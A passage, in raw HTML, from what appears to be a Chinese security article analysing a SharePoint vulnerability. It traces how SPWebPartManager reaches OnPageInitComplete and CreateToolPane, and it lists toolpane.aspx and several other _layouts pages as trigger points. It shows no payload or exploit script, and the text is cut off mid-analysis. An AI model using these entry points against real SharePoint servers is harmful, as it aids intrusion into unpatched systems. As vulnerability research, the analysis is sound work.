Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WebPart</span></code><span leaf="">，也可以定制个性化视图中的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WebPart</span></code><span leaf="">，主要利用</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SPWebPartManager</span></code><span leaf="">类来创建</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WebPart</span></code><span leaf="">组件， 该类继承了</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Control</span></code><span leaf="">控件类，可以直接在</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">aspx</span></code><span leaf=""> 页面中进行加载：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">[AspNetHostingPermission(SecurityAction.LinkDemand, Level = AspNetHostingPermissionLevel.Minimal)]</span><span leaf=""><br/></span><span leaf="">public sealed class SPWebPartManager : WebPartManager, IPostBackEventHandler    // [1] 父类 WebPartManager</span><span leaf=""><br/></span><span leaf="">...</span><span leaf=""><br/></span><span leaf="">[Bindable(false)]</span><span leaf=""><br/></span><span leaf="">[Designer(&#34;System.Web.UI.Design.WebControls.WebParts.WebPartManagerDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&#34;)]</span><span leaf=""><br/></span><span leaf="">[NonVisualControl]</span><span leaf=""><br/></span><span leaf="">[ParseChildren(true)]</span><span leaf=""><br/></span><span leaf="">[PersistChildren(false)]</span><span leaf=""><br/></span><span leaf="">[ViewStateModeById]</span><span leaf=""><br/></span><span leaf="">public class WebPartManager : Control, INamingContainer, IPersonalizable  //[2] 继承 Control 控件类</span><span leaf=""><br/></span><span leaf="">...</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">aspx</span></code><span leaf=""> 文件中搜索 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SPWebPartManager</span></code><span leaf=""> 的调用点，比如 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">toolpane.aspx</span></code><span leaf=""> 中就引入了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SPWebPartManager</span></code><span leaf=""> ，这也是目前公开的漏洞触发页面：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008592" data-ratio="0.46712463199214915" title="null" data-type="png" data-w="1019" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=81bb9f75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaVIQdNkzJQsByibib72jpKpKzVEtFBHbPHmMMG2eJ2Zb01tXsfYXWpBXqA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">构造认证请求 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/_layouts/15/toolpane.aspx</span></code><span leaf=""> 可成功进入控件初始化完成事件的响应函数 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">OnPageInitComplete</span></code><span leaf=""> ，调用栈如下：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008594" data-ratio="0.43290891283055827" title="null" data-type="png" data-w="1021" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=246a9845&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaVHT70LmXzEO4vvmFSmXLzib1NI4rz9SLFKpPLFDRh7PfKM2FbsdRel7A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">除了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">toolpane.aspx</span></code><span leaf=""> 之外，还可以找到多个 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">aspx</span></code><span leaf=""> 文件中也引入了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SPWebPartManager</span></code><span leaf=""> ，同样可以触发上面的调用栈，比如：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">/_layouts/15/toolpane.aspx</span><span leaf=""><br/></span><span leaf="">/_layouts/15/AddGallery.aspx</span><span leaf=""><br/></span><span leaf="">/_layouts/15/excelcellpicker.aspx</span><span leaf=""><br/></span><span leaf="">/_layouts/15/mtgredir.aspx</span><span leaf=""><br/></span><span leaf="">...</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">回到 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">OnPageInitComplete</span></code><span leaf="">，其会调用</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ShowToolPaneIfNecessary</span></code><span leaf="">，该函数会判断</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">toolPane</span></code><span leaf="">是否为空，那么如何完成</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">toolPane</span></code><span leaf="">的赋值呢？通过分析发现，在</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WebPartPage</span></code><span leaf="">类的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ToolPaneCreationAndInitialization</span></code><span leaf="">函数中将利用</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CreateToolPane</span></code><span leaf="">完成</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">toolPane</span></code><span leaf="">创建，但是需要</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">displayMode</span></code><span leaf="">取值不能为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">BrowseDisplayMode</span></code><span leaf="">和</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">DesignDisplayMode</span></code><span leaf="">，但默认请求下取值为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">BrowseDisplayMode</span></code><span leaf="">，无法触发</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CreateToolPane</span></code><span leaf=""> ：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008593" class="rich_pages wxw-img" data-ratio="0.47435897435897434" data-type="png" data-w="1014" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=c8f5f2e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAw6C8Y0qduqVIu2ibnKvwzaVUKYA6dZKkTs6QibXFM8qFYYSTCMSJrib38yibbhlFxHEgUeI8cjS6esbw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WebPartDisplayMode</span></code><span leaf=""> 的取值范围如下：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft 